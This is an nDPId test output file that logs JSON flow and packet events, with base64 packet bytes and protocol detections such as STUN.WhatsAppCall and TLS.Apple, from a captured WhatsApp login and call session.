+00577{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":339473,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa1VQAAEAReFXAqAIEHw1KMM46DZYAhr8lAAMAaiESpEIAAMYoECn4BPzbT0BAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":885,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1432582296339,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.84.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":339591,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaPWIAAEARBkjAqAIEHw1UMM46DZYAhgQrAAMAaiESpEIAAPM63M4iUJ72Oh1AAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":885,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1432582296339,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.84.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":339722,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa4JwAAEARYw3AqAIEHw1UMM46DZYAhgQrAAMAaiESpEIAAPM63M4iUJ72Oh1AAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00465{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":389707,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABItbcAAFYRcAQfDV0wwKgCBA2WzjoANObxAQMAGCESpEIAABQXleBLNAVxhWEAIAAIAAG2aW4xsYdAAgAIAAABTYyPEzk="} +00465{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":888,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":391231,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABItbgAAFYRcAMfDV0wwKgCBA2WzjoANObvAQMAGCESpEIAABQXleBLNAVxhWEAIAAIAAG2aW4xsYdAAgAIAAABTYyPEzs="} +00466{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":889,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":441767,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIu\/4AAFIRdr0fDVQwwKgCBA2WzjoANKRaAQMAGCESpEIAAPM63M4iUJ72Oh0AIAAIAAG2aW4xsYdAAgAIAAABTYyPE2E="} +00466{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":443204,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIu\/8AAFIRdrwfDVQwwKgCBA2WzjoANKRZAQMAGCESpEIAAPM63M4iUJ72Oh0AIAAIAAG2aW4xsYdAAgAIAAABTYyPE2I="} +00465{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":448307,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI4fkAAFYRTJKzPMAwwKgCBA2WzjoANIBbAQMAGCESpEIAAHR4erx3E5L39hkAIAAIAAG2aW4xsYdAAgAIAAABTYyPE0Q="} +00465{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":449785,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI4fsAAFYRTJCzPMAwwKgCBA2WzjoANIBZAQMAGCESpEIAAHR4erx3E5L39hkAIAAIAAG2aW4xsYdAAgAIAAABTYyPE0Y="} +00465{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":464788,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI3osAAFMRTTAfDVowwKgCBA2WzjoANIR9AQMAGCESpEIAAEIAbV8qcywo32IAIAAIAAG2aW4xsYdAAgAIAAABTYyPE04="} +00465{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":465530,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI3owAAFMRTS8fDVowwKgCBA2WzjoANIR7AQMAGCESpEIAAEIAbV8qcywo32IAIAAIAAG2aW4xsYdAAgAIAAABTYyPE1A="} +00465{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":488822,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIVHgAAFQR50MfDUkwwKgCBA2WzjoANIfaAQMAGCESpEIAAPA16Ue1KOAmhBUAIAAIAAG2aW4xsYdAAgAIAAABTYyPE2w="} +00465{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":490101,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIVHkAAFQR50IfDUkwwKgCBA2WzjoANIfZAQMAGCESpEIAAPA16Ue1KOAmhBUAIAAIAAG2aW4xsYdAAgAIAAABTYyPE20="} +00465{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":515706,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIfMQAAFURvPcfDUowwKgCBA2WzjoANF8yAQMAGCESpEIAAMYoECn4BPzbT0AAIAAIAAG2aW4xsYdAAgAIAAABTYyPE4Q="} +00465{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":517176,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIfMUAAFURvPYfDUowwKgCBA2WzjoANF8wAQMAGCESpEIAAMYoECn4BPzbT0AAIAAIAAG2aW4xsYdAAgAIAAABTYyPE4Y="} +00466{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":549936,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI3hsAAE0RrN+t\/HIBwKgCBA2WzjoANEEuAQMAGCESpEIAAPckPngMfZVuqj0AIAAIAAG2aW4xsYdAAgAIAAABTYyPE3Q="} +00466{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":551704,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI3h0AAE0RrN2t\/HIBwKgCBA2WzjoANEEsAQMAGCESpEIAAPckPngMfZVuqj0AIAAIAAG2aW4xsYdAAgAIAAABTYyPE3Y="} +00467{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":565602,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABID4sAAFMRJqEfDU\/AwKgCBA2WzjoANNk2AQMAGCESpEIAAL9\/1m08YXkuT0YAIAAIAAG2aW4xsYdAAgAIAAABTYyPE58="} +00467{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":567432,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABID4wAAFMRJqAfDU\/AwKgCBA2WzjoANNk0AQMAGCESpEIAAL9\/1m08YXkuT0YAIAAIAAG2aW4xsYdAAgAIAAABTYyPE6E="} +00823{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":925,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582297,"pkt_ts_usec":170828,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFEAAP8RdlQAAAAA\/\/\/\/\/wBEAEMBNOdGAQEGALYzLg0AGgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00535{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":5,"flow_first_seen":1432582233314,"flow_last_seen":1432582233518,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.8","src_port":49192,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":5,"flow_first_seen":1432582233314,"flow_last_seen":1432582233518,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.8","src_port":49192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":3,"flow_first_seen":1432582235999,"flow_last_seen":1432582236282,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.59","src_port":49180,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":3,"flow_first_seen":1432582235999,"flow_last_seen":1432582236282,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.59","src_port":49180,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":3,"flow_first_seen":1432582235998,"flow_last_seen":1432582236282,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.37","src_port":49181,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":3,"flow_first_seen":1432582235998,"flow_last_seen":1432582236282,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.37","src_port":49181,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":3,"flow_first_seen":1432582234869,"flow_last_seen":1432582235028,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.52","src_port":49182,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":3,"flow_first_seen":1432582234869,"flow_last_seen":1432582235028,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.52","src_port":49182,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":3,"flow_first_seen":1432582233751,"flow_last_seen":1432582233926,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.49","src_port":49191,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":932,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":3,"flow_first_seen":1432582233751,"flow_last_seen":1432582233926,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.49","src_port":49191,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582302,"pkt_ts_usec":350249,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"xiwDYGpkAPS5Jrv0CABFwABy39QAAEARY\/3AqAIEHw1UMM46DZYAXmPlgckACQoVDhA\/cDmPP2GH+dw+eSd5Ut6D6R34wbCvsCoYFHs8lda5k2P52vD1dbELS8rcXVWf0VY2IFXDP5up5wUe\/tYGcpldgAAAAb5uMWFJKkRckYE="} +00525{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582302,"pkt_ts_usec":912020,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"APS5Jrv0xiwDYGpkCABFAAByXYsAAFIR1QYfDVQwwKgCBA2WzjoAXmv+gckACSB2M\/5X8+7ElJjZtJTkAZbDxrLHHhhUBR+1hKIMqEIhSPb6Wg4Ja9XBi2fc\/D+ZPefGYMYzCVqJhDuK+Gsma2+PG7u5gAAAAZEEAqnD8KaHguk="} +00438{"flow_id":55,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":149089,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"APS5Jrv0xiwDYGpkCABFAAAyXjMAAFIR1J4fDVQwwKgCBA2WzjoAHuwEgdEAASB2M\/6AAAACcCTfJHwxNRurEw=="} +00524{"flow_id":55,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":155016,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"APS5Jrv0xiwDYGpkCABFAABxXjUAAFIR1F0fDVQwwKgCBA2WzjoAXdR7gPh9XAAACgAgdjP+xbNZ0qThdlWLsdqCEJPTsqg7evnPQ3eUhqsJJFxY778HlfnnqcTGET+ohtt85LaCJEX7eumX4\/hkfEghGRFeYluaEDHG3J6+ow=="} +00442{"flow_id":55,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":159031,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"APS5Jrv0xiwDYGpkCABFAAA2XjkAAFIR1JQfDVQwwKgCBA2WzjoAIvdCgdAAAiB2M\/6YWHBsgAAAA8HppQatQ+qGmOI="} +00511{"flow_id":55,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":942,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":163321,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"APS5Jrv0xiwDYGpkCABFAABnXjsAAFIR1GEfDVQwwKgCBA2WzjoAUxlRgPh9XQAAFAAgdjP+q\/kEFZvwnYsAR\/3b\/z4vmiArWusMzlvlxk7xfp4CqqMe5gIbMHd0Pu67hnxgPl7BYqAXFBnhHsakV8adx2yU"} +00509{"flow_id":55,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":171479,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"APS5Jrv0xiwDYGpkCABFAABnXkMAAFIR1FkfDVQwwKgCBA2WzjoAU5IggPh9XgAAHgAgdjP+kn9SIGTv4CA0pWaHCw6Qx7A53BHTLoo9qLy5G+0vUNCkpXIDcHUY7ViZf0VOkJ1Ip67ZRUk2\/RufvW3SysP9"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":944,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1432582303186,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"1.194.90.191","src_port":52794,"dst_port":51727,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":944,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":186638,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABI\/ugAAEARW8\/AqAIEAcJav846yg8ANOnpAAEAGCESpEL3EVgs34UDSm8ZSi0ACAAUBo8N2M5l\/vTJutWmGJeHW1ycL5M="} +00586{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":944,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1432582303186,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"1.194.90.191","src_port":52794,"dst_port":51727,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00697{"flow_id":55,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":946,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":216233,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"xiwDYGpkAPS5Jrv0CABFwADuQ4kAAEAR\/8zAqAIEHw1UMM46DZYA2tRwgPhVpwAACgAKFQ4QuqT9ptkgZ5Y2FvijqWVfAD6UVcFEIzFKF\/JNQN0Y+dJMFtTCgVCZpfHDSiB+Xmr+\/h8AYGb1t+Sn4Xec5ai6Ah4\/btvRhWVJI5CHZ18pma97DhgyhUsOS\/C63VuOwqbmhhWzUsrF\/hYCDoUbltfgeNlWBkgRMKwrDgKhSyFB0ptNTYoTVhjLIiZKXnPkwTmV6oZgcUtgsE+iaefjPsJOx\/4\/6Z2jskQuOeGO9vDLrzXnzaySedSQdWtTou2OLhwnSaYkDaC+"} +00442{"flow_id":55,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":216347,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"xiwDYGpkAPS5Jrv0CABFwAA2130AAEARbJDAqAIEHw1UMM46DZYAIroUgdAAAgoVDhB3PeWjgAAAAndoOROZ+YMI74E="} +00510{"flow_id":55,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582303,"pkt_ts_usec":257557,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"APS5Jrv0xiwDYGpkCABFAABnXm8AAFIR1C0fDVQwwKgCBA2WzjoAUyQOgPh9XwAAKAAgdjP+380xJX1FWSmeObsDkWqrKkLjxQDaAHcKg6HqDt1Ks2QxpVBOLRL9\/WnpUJd8BMROrpV3ZWNfb8WYnsm\/Edll"} 